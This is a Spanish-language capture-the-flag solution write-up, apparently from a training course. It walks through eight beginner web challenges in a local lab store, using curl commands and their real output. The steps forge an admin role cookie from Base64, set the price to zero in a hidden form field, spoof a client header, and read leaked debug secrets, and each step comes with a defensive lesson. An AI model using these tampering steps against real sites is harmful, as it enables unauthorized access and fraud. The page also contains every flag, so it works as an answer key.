Ghost AcademyGhostOffensive · Ghost Academy
GhostOffensiveMódulo 05SOLO SOLUCIÓN

Writeup — Orbita Store

← Volver al capítulo 05

Atención: contiene todas las flags. Inténtalo primero por tu cuenta.

Las salidas son reales, capturadas contra el contenedor desplegado (localhost:8282).

Reto 1 — Código fuente

Cliente★

Ver el código fuente de la página principal (Ctrl+U) o pedirla con curl:

kali@lab (salida real)
$ curl -s localhost:8282/ | grep -o 'GO{[^}]*}'
GO{el_html_tambien_habla}

Flag: GO{el_html_tambien_habla}

Lección: los comentarios de desarrollo llegan al cliente. Todo lo que está en el HTML lo puede leer cualquiera.

Reto 2 — JavaScript que delata rutas

Cliente★★

La página carga /static/app.js. Leyéndolo aparece una ruta que no se usa en ninguna pantalla:

kali@lab (salida real)
$ curl -s localhost:8282/static/app.js | grep -n MANTENIMIENTO
4:const MANTENIMIENTO = "/api/interno/estado";
kali@lab (salida real)
$ curl -s localhost:8282/api/interno/estado
{"estado":"ok","nota":"GO{el_javascript_delata_rutas}"}

Flag: GO{el_javascript_delata_rutas}

Lección: el JavaScript del cliente es documentación gratuita de la API, incluidos endpoints internos olvidados.

Reto 3 — Cookie de rol

Sesión★★

La aplicación entrega una cookie rol al entrar:

kali@lab (salida real)
$ curl -si localhost:8282/ | grep -i set-cookie
Set-Cookie: rol=dXN1YXJpbw==; Path=/

El valor es Base64, no cifrado. Decodificado es usuario. Se cambia por admin (Base64: YWRtaW4=) y se pide /mi-cuenta:

kali@lab (salida real)
$ echo -n admin | base64; curl -s --cookie "rol=YWRtaW4=" localhost:8282/mi-cuenta | grep -o "GO{[^}]*}"
YWRtaW4=
GO{la_cookie_no_es_de_fiar}

Flag: GO{la_cookie_no_es_de_fiar}

Lección: Base64 es una codificación, no una protección. El rol debe vivir en el servidor, asociado a una sesión.

Reto 4 — Precio en un campo oculto

Formularios★★

En /tienda el formulario envía producto y precio como campos ocultos. Se reenvía la petición con otro precio:

kali@lab (salida real)
$ curl -s -X POST -d "producto=1&precio=0" localhost:8282/comprar | grep -o "GO{[^}]*}"
GO{el_precio_lo_manda_el_cliente}

Flag: GO{el_precio_lo_manda_el_cliente}

Lección: el servidor acepta el precio que le llega. Debe calcularlo él a partir del identificador del producto.

Reto 5 — Método HTTP

Métodos★★

Pedir /api/v1/usuarios con GET devuelve 405 y la cabecera Allow indica qué métodos acepta:

kali@lab (salida real)
$ curl -si localhost:8282/api/v1/usuarios | sed -n '1p;/Allow/p'
HTTP/1.1 405 METHOD NOT ALLOWED
Allow: POST, OPTIONS
kali@lab (salida real)
$ curl -s -X POST localhost:8282/api/v1/usuarios
{"nota":"GO{el_metodo_importa}","usuarios":["ana","luis"]}

Flag: GO{el_metodo_importa}

Lección: un 405 te dice qué métodos existen. Cambiar el método puede dar acceso a otra funcionalidad del mismo endpoint.

Reto 6 — Error verboso

Errores★

Enviar un valor inesperado provoca un 500 con la traza completa y el entorno:

kali@lab (salida real)
$ curl -s "localhost:8282/api/v1/producto?id=abc"
Traceback (most recent call last):
  File "/app/app.py", line 91, in producto
    return buscar(int(pid))
ValueError: invalid literal for int() with base 10: 'abc'

--- entorno (depuracion activa) ---
DB_URL=postgres://orbita@db.interno/orbita
SECRETO_INTERNO=GO{los_errores_hablan_de_mas}

Flag: GO{los_errores_hablan_de_mas}

Lección: el modo depuración en producción filtra rutas, cadenas de conexión y secretos. Los errores al usuario deben ser genéricos.

Reto 7 — Cabecera requerida

Cabeceras★★

En los comentarios de app.js hay una pista: la app móvil envía la cabecera X-Cliente: movil a /api/soporte/canal. Sin ella:

kali@lab (salida real)
$ curl -s localhost:8282/api/soporte/canal
{"error":"Cliente no autorizado"}
kali@lab (salida real)
$ curl -s -H "X-Cliente: movil" localhost:8282/api/soporte/canal
{"canal":"soporte-movil","nota":"GO{la_cabecera_es_la_llave}"}

Flag: GO{la_cabecera_es_la_llave}

Lección: una cabecera que fija el cliente no autentica a nadie. Cualquiera puede enviarla.

Reto 8 — Pista en una redirección

Respuestas★★★

La ruta /ir redirige a /destino. El navegador sigue la redirección y solo enseña la página final, que no tiene nada. La respuesta intermedia sí lleva algo:

kali@lab (salida real)
$ curl -si localhost:8282/ir | head -8
HTTP/1.1 302 FOUND
Server: gunicorn
Date: Tue, 29 Sep 2026 09:18:42 GMT
Connection: keep-alive
Content-Type: text/html; charset=utf-8
Content-Length: 203
Location: /destino
X-Pista: GO{la_redireccion_esconde_pistas}

Flag: GO{la_redireccion_esconde_pistas}

Lección: las respuestas 3xx pueden llevar cabeceras y datos que el navegador nunca muestra. Un proxy o curl -i sin -L las enseña.

Resumen

#DebilidadHerramienta
1Comentarios en el HTMLVer código fuente / curl
2Endpoint interno en JavaScriptcurl / DevTools
3Rol en cookie manipulablecurl --cookie
4Precio en campo ocultocurl -d
5Método HTTP mal restringidocurl -X
6Error con datos internoscurl
7Control por cabeceracurl -H
8Datos en respuesta 302curl -i